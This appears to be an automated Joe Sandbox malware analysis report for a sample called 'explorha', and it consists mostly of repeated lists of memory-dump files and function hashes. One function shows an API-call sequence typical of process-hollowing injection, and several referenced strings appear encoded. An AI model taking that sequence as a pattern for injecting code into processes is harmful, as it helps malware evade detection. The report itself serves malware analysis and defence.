Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: 111$246122658369$6fxmTwZm$IzE+$Qt==$RQ$Sww=
API String ID: 3188754299-1607649985
Opcode ID: f869b5fd106f26460eadc77765c9b78643e8151f4892a1662172278cd5e21690
Instruction ID: 4df7cc19a587e77a8d610a8fb43a93e98c60561d9c152f231406c7bffbab8f75
Opcode Fuzzy Hash: f869b5fd106f26460eadc77765c9b78643e8151f4892a1662172278cd5e21690
Instruction Fuzzy Hash: A0A23971A001449BEF08EF38CE8579EBB72AF85314F60825DF416AB3D6D7359A84C791

Uniqueness

Uniqueness Score: -1.00%

Function 00AD6C20 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 132
memoryprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00AD6CAB
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00AD6CC4
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 00AD6CD9
ReadProcessMemory.KERNELBASE(?, ,?,00000004,00000000), ref: 00AD6CF9
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 00AD6D3B
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00AD6E11

Strings

VUUU, xrefs: 00AD6AC1
invalid stoi argument, xrefs: 00AD6C10
, xrefs: 00AD6CF0

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$ContextCreateFreeMemoryReadThreadWow64
String ID: $VUUU$invalid stoi argument
API String ID: 752144545-3954507777
Opcode ID: 9e3d6b9dac0c6f5f209440c30ef114d6b44c5299c8fe942296ed9880707e5037
Instruction ID: 7b04efb16baa2d4609136da5ab832ffbc1c75245ef544bd8f7c54e0720a736f5
Opcode Fuzzy Hash: 9e3d6b9dac0c6f5f209440c30ef114d6b44c5299c8fe942296ed9880707e5037
Instruction Fuzzy Hash: CE4163B0244341BFE761AF64CC01F9B77E8AF45B04F501919B684E62D0EBB0F9148B97

Uniqueness

Uniqueness Score: -1.00%

Function 00ADE0FD Relevance: 11.3, APIs: 3, Strings: 3, Instructions: 791COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00ADE364

Strings

6fxmTwZm, xrefs: 00ADE697
RQ, xrefs: 00ADE3F1
Qt==, xrefs: 00ADE322, 00ADE454, 00ADE569, 00ADE79F

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: 6fxmTwZm$Qt==$RQ
API String ID: 3188754299-3836299698
Opcode ID: 9e74b1d5d4f85f4aedaefa8b28981a45d3cff15f972cdbdd1da01ff7f61b457e
Instruction ID: f261cf6db7eec81e0e858d24788472b6c3bdc3cf7557caf628383c09545f8e4e
Opcode Fuzzy Hash: 9e74b1d5d4f85f4aedaefa8b28981a45d3cff15f972cdbdd1da01ff7f61b457e
Instruction Fuzzy Hash: D0522771A001448BEF1CEB39CD8979EBB72AF85314F24825DE416AF3D6D7359A80CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD78B0 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00AD7A53

Strings

H@j, xrefs: 00AD7AF5, 00AD7BD5, 00AD7C78, 00AD7D1B
FcspIG==, xrefs: 00AD7C08
FcspH7==, xrefs: 00AD7D4E
FcsqG7==, xrefs: 00AD7CAB

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: FcspH7==$FcspIG==$FcsqG7==$H@j
API String ID: 1721193555-3118713449
Opcode ID: 8d81774c3ab331a3d41c6a8ac9096b63b8a5de17b3f9a284c3a4dad3a03b620a
Instruction ID: 3379f14aef042c2851d9e3d3f224849c3e52b00708392bae95cef0069171e597
Opcode Fuzzy Hash: 8d81774c3ab331a3d41c6a8ac9096b63b8a5de17b3f9a284c3a4dad3a03b620a
Instruction Fuzzy Hash: DBD10871E046549BDB28FB38DD4739E7772AB46310F9402C9E456AB3C2EB355E808BD2

Uniqueness

Uniqueness Score: -1.00%

Function 00B130DC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B12D95: CreateFileW.KERNELBASE(00000000,00000000,?,00B13185,?,?,00000000,?,00B13185,00000000,0000000C), ref: 00B12DB2

__dosmaperr.LIBCMT ref: 00B131F7
GetFileType.KERNELBASE(00000000), ref: 00B13203
__dosmaperr.LIBCMT ref: 00B13216
__dosmaperr.LIBCMT ref: 00B133BC

Strings

H, xrefs: 00B13341

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
